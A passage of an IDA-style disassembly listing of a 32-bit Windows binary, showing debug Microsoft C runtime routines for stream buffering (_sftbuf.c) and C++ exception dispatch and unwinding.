arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_422837:				; CODE XREF: sub_422830+38j
		cmp	[ebp+arg_0], 0
		jz	short loc_422864
		cmp	[ebp+arg_0], 1
		jz	short loc_422864
		push	offset aFlag0Flag1 ; "flag == 0	|| flag	== 1"
		push	0
		push	0A1h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422864
		int	3		; Trap to Debugger


loc_422864:				; CODE XREF: sub_422830+Bj
					; sub_422830+11j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_422837
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_4228BD
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_4228BD
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41B920
		add	esp, 4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	ah, 0EEh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0


loc_4228BD:				; CODE XREF: sub_422830+44j
					; sub_422830+53j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_422830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228D0	proc near		; CODE XREF: sub_418DE0+27p
					; sub_418EC0+2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 19930520h
		jnz	short loc_4228EA
		mov	[ebp+var_8], 0
		jmp	short loc_4228F2
; ---------------------------------------------------------------------------


loc_4228EA:				; CODE XREF: sub_4228D0+Fj
		call	sub_423630
		mov	[ebp+var_8], eax


loc_4228F2:				; CODE XREF: sub_4228D0+18j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, 66h
		test	edx, edx
		jz	short loc_42292E
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_422924
		cmp	[ebp+arg_14], 0
		jnz	short loc_422924
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_422E40
		add	esp, 10h


loc_422924:				; CODE XREF: sub_4228D0+36j
					; sub_4228D0+3Cj
		mov	eax, 1
		jmp	loc_4229BB
; ---------------------------------------------------------------------------


loc_42292E:				; CODE XREF: sub_4228D0+2Dj
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_4229B6
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42298E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jbe	short loc_42298E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42298E
		mov	ecx, [ebp+arg_1C]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	[ebp+var_4]
		add	esp, 20h
		jmp	short loc_4229BB
; ---------------------------------------------------------------------------


loc_42298E:				; CODE XREF: sub_4228D0+70j
					; sub_4228D0+7Cj ...
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, byte ptr [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4229C0
		add	esp, 20h


loc_4229B6:				; CODE XREF: sub_4228D0+65j
		mov	eax, 1


loc_4229BB:				; CODE XREF: sub_4228D0+59j
					; sub_4228D0+BCj
		mov	esp, ebp
		pop	ebp
		retn
sub_4228D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4229C0	proc near		; CODE XREF: sub_4228D0+DEp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0FFFFFFFFh
		jl	short loc_4229ED
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx+4]
		jge	short loc_4229ED
		mov	[ebp+var_28], 0
		jmp	short loc_4229F5
; ---------------------------------------------------------------------------


loc_4229ED:				; CODE XREF: sub_4229C0+17j
					; sub_4229C0+22j
		call	sub_423630
		mov	[ebp+var_28], eax


loc_4229F5:				; CODE XREF: sub_4229C0+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	loc_422AB5
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+10h], 3
		jnz	loc_422AB5
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	loc_422AB5
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	loc_422AB5
		call	sub_421920
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_422A3E
		jmp	loc_422C5C
; ---------------------------------------------------------------------------


loc_422A3E:				; CODE XREF: sub_4229C0+77j
		call	sub_421920
		mov	edx, [eax+6Ch]
		mov	[ebp+arg_0], edx
		call	sub_421920
		mov	eax, [eax+70h]
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], 1
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A590
		add	esp, 8
		test	eax, eax
		jz	short loc_422A73
		mov	[ebp+var_2C], 0
		jmp	short loc_422A7B
; ---------------------------------------------------------------------------


loc_422A73:				; CODE XREF: sub_4229C0+A8j
		call	sub_423630
		mov	[ebp+var_2C], eax


loc_422A7B:				; CODE XREF: sub_4229C0+B1j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_422AAE
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422AAE
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_422AAE
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_422AAE
		call	sub_423630
		mov	[ebp+var_30], eax
		jmp	short loc_422AB5
; ---------------------------------------------------------------------------


loc_422AAE:				; CODE XREF: sub_4229C0+C4j
					; sub_4229C0+CDj ...
		mov	[ebp+var_30], 0


loc_422AB5:				; CODE XREF: sub_4229C0+3Ej
					; sub_4229C0+4Bj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	loc_422C1C
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 3
		jnz	loc_422C1C
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	loc_422C1C
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_419060
		add	esp, 14h
		mov	[ebp+var_10], eax
		jmp	short loc_422B14
; ---------------------------------------------------------------------------


loc_422B02:				; CODE XREF: sub_4229C0:loc_422B35j
					; sub_4229C0:loc_422BFAj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 14h
		mov	[ebp+var_10], eax


loc_422B14:				; CODE XREF: sub_4229C0+140j
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_C]
		jnb	loc_422BFF
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		cmp	eax, [ebp+var_4]
		jg	short loc_422B35
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jle	short loc_422B37


loc_422B35:				; CODE XREF: sub_4229C0+168j
		jmp	short loc_422B02
; ---------------------------------------------------------------------------


loc_422B37:				; CODE XREF: sub_4229C0+173j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_24], eax
		jmp	short loc_422B5D
; ---------------------------------------------------------------------------


loc_422B4B:				; CODE XREF: sub_4229C0:loc_422BF5j
		mov	ecx, [ebp+var_24]
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 10h
		mov	[ebp+var_1C], edx


loc_422B5D:				; CODE XREF: sub_4229C0+189j
		cmp	[ebp+var_24], 0
		jle	loc_422BFA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		add	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_422B98
; ---------------------------------------------------------------------------


loc_422B86:				; CODE XREF: sub_4229C0+1FBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_18]
		add	edx, 4
		mov	[ebp+var_18], edx


loc_422B98:				; CODE XREF: sub_4229C0+1C4j
		cmp	[ebp+var_20], 0
		jle	short loc_422BF5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+var_18]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_422D80
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422BBD
		jmp	short loc_422B86
; ---------------------------------------------------------------------------


loc_422BBD:				; CODE XREF: sub_4229C0+1F9j
		mov	dl, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422F70
		add	esp, 2Ch
		jmp	short loc_422C5A
; ---------------------------------------------------------------------------


loc_422BF5:				; CODE XREF: sub_4229C0+1DCj
		jmp	loc_422B4B
; ---------------------------------------------------------------------------


loc_422BFA:				; CODE XREF: sub_4229C0+1A1j
					; sub_4229C0:loc_422C5Aj
		jmp	loc_422B02
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_4229C0+15Aj
		mov	edx, [ebp+arg_14]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_422C1A
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_423450
		add	esp, 8


loc_422C1A:				; CODE XREF: sub_4229C0+24Aj
		jmp	short loc_422C58
; ---------------------------------------------------------------------------


loc_422C1C:				; CODE XREF: sub_4229C0+FEj
					; sub_4229C0+10Bj ...
		mov	ecx, [ebp+arg_14]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_422C53
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_422C60
		add	esp, 20h
		jmp	short loc_422C58
; ---------------------------------------------------------------------------


loc_422C53:				; CODE XREF: sub_4229C0+267j
		call	sub_423580


loc_422C58:				; CODE XREF: sub_4229C0:loc_422C1Aj
					; sub_4229C0+291j
		jmp	short loc_422C5C
; ---------------------------------------------------------------------------


loc_422C5A:				; CODE XREF: sub_4229C0+233j
		jmp	short loc_422BFA
; ---------------------------------------------------------------------------


loc_422C5C:				; CODE XREF: sub_4229C0+79j
					; sub_4229C0:loc_422C58j
		mov	esp, ebp
		pop	ebp
		retn
sub_4229C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C60	proc near		; CODE XREF: sub_4229C0+289p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	sub_421920
		cmp	dword ptr [eax+68h], 0
		jz	short loc_422C9E
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418F00
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_422C9E
		jmp	loc_422D71
; ---------------------------------------------------------------------------


loc_422C9E:				; CODE XREF: sub_422C60+Fj
					; sub_422C60+37j
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		call	sub_419060
		add	esp, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_422CD1
; ---------------------------------------------------------------------------


loc_422CBF:				; CODE XREF: sub_422C60:loc_422D29j
					; sub_422C60+10Cj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 14h
		mov	[ebp+var_8], ecx


loc_422CD1:				; CODE XREF: sub_422C60+5Dj
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jnb	loc_422D71
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		cmp	ecx, [eax]
		jl	short loc_422D29
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_14]
		cmp	eax, [edx+4]
		jg	short loc_422D29
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		sub	edx, 1
		shl	edx, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx+edx+4], 0
		jz	short loc_422D2B
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		mov	eax, [edx+eax+4]
		movsx	ecx, byte ptr [eax+8]
		test	ecx, ecx
		jz	short loc_422D2B


loc_422D29:				; CODE XREF: sub_422C60+85j
					; sub_422C60+90j
		jmp	short loc_422CBF
; ---------------------------------------------------------------------------


loc_422D2B:				; CODE XREF: sub_422C60+A9j
					; sub_422C60+C7j
		push	1
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		add	edx, eax
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_422F70
		add	esp, 2Ch
		jmp	loc_422CBF
; ---------------------------------------------------------------------------


loc_422D71:				; CODE XREF: sub_422C60+39j
					; sub_422C60+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_422C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D80	proc near		; CODE XREF: sub_4229C0+1EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_422D9B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jnz	short loc_422DA5


loc_422D9B:				; CODE XREF: sub_422D80+Bj
		mov	eax, 1
		jmp	loc_422E32
; ---------------------------------------------------------------------------


loc_422DA5:				; CODE XREF: sub_422D80+19j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+4]
		cmp	eax, [edx+4]
		jz	short loc_422DD7
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		add	ecx, 8
		push	ecx
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jz	short loc_422DD7
		xor	eax, eax
		jmp	short loc_422E32
; ---------------------------------------------------------------------------


loc_422DD7:				; CODE XREF: sub_422D80+31j
					; sub_422D80+51j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 2
		test	eax, eax
		jz	short loc_422DEF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 8
		test	edx, edx
		jz	short loc_422E28


loc_422DEF:				; CODE XREF: sub_422D80+61j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_422E07
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 1
		test	eax, eax
		jz	short loc_422E28


loc_422E07:				; CODE XREF: sub_422D80+79j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		and	edx, 2
		test	edx, edx
		jz	short loc_422E1F
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_422E28


loc_422E1F:				; CODE XREF: sub_422D80+91j
		mov	[ebp+var_4], 1
		jmp	short loc_422E2F
; ---------------------------------------------------------------------------


loc_422E28:				; CODE XREF: sub_422D80+6Dj
					; sub_422D80+85j ...
		mov	[ebp+var_4], 0


loc_422E2F:				; CODE XREF: sub_422D80+A6j
		mov	eax, [ebp+var_4]


loc_422E32:				; CODE XREF: sub_422D80+20j
					; sub_422D80+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_422D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E40	proc near		; CODE XREF: .data:00418E3Ap
					; sub_4228D0+4Cp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4351B8
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_1C], ecx


loc_422E6F:				; CODE XREF: sub_422E40+BFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+arg_C]
		jz	loc_422F04
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jle	short loc_422E95
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [eax+4]
		jge	short loc_422E95
		mov	[ebp+var_20], 0
		jmp	short loc_422E9D
; ---------------------------------------------------------------------------


loc_422E95:				; CODE XREF: sub_422E40+3Fj
					; sub_422E40+4Aj
		call	sub_423630
		mov	[ebp+var_20], eax


loc_422E9D:				; CODE XREF: sub_422E40+53j
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [eax+ecx*8+4], 0
		jz	short loc_422ED0
		push	103h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+edx*8+4]
		push	eax
		call	sub_423530


loc_422ED0:				; CODE XREF: sub_422E40+72j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422EF0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_422F40
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_422EF0:				; CODE XREF: sub_422E40+97j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		mov	edx, [eax+ecx*8]
		mov	[ebp+var_1C], edx
		jmp	loc_422E6F
; ---------------------------------------------------------------------------


loc_422F04:				; CODE XREF: sub_422E40+35j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_C]
		jnz	short loc_422F15
		mov	[ebp+var_24], 0
		jmp	short loc_422F1D
; ---------------------------------------------------------------------------


loc_422F15:				; CODE XREF: sub_422E40+CAj
		call	sub_423630
		mov	[ebp+var_24], eax


loc_422F1D:				; CODE XREF: sub_422E40+D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[ecx+8], edx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_422E40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F40	proc near		; CODE XREF: sub_422E40+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0E06D7363h
		jz	short loc_422F61
		jmp	short loc_422F66
; ---------------------------------------------------------------------------


loc_422F61:				; CODE XREF: sub_422F40+1Dj
		call	sub_423580


loc_422F66:				; CODE XREF: sub_422F40+1Fj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_422F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F70	proc near		; CODE XREF: sub_4229C0+22Bp
					; sub_422C60+104p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_18], 0
		jz	short loc_422F9A
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4231D0
		add	esp, 10h


loc_422F9A:				; CODE XREF: sub_422F70+10j
		cmp	[ebp+arg_24], 0
		jnz	short loc_422FAF
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_418D80
		jmp	short loc_422FBC
; ---------------------------------------------------------------------------


loc_422FAF:				; CODE XREF: sub_422F70+2Ej
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_24]
		push	edx
		call	sub_418D80


loc_422FBC:				; CODE XREF: sub_422F70+3Dj
		mov	eax, [ebp+arg_1C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_422E40
		add	esp, 10h
		mov	edx, [ebp+arg_1C]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		push	100h
		mov	edx, [ebp+arg_20]
		push	edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_423030
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_423023
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_418D10


loc_423023:				; CODE XREF: sub_422F70+A4j
		mov	esp, ebp
		pop	ebp
		retn
sub_422F70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423030	proc near		; CODE XREF: sub_422F70+95p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 0042316B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4351C8
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx-4]
		mov	[ebp+var_28], edx
		call	sub_421920
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_421920
		mov	ecx, [eax+70h]
		mov	[ebp+var_20], ecx
		call	sub_421920
		mov	edx, [ebp+arg_0]
		mov	[eax+6Ch], edx
		call	sub_421920
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_418E50
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], 0
		jmp	short loc_4230FF
; ---------------------------------------------------------------------------


loc_4230CE:				; DATA XREF: .data:004351D8o
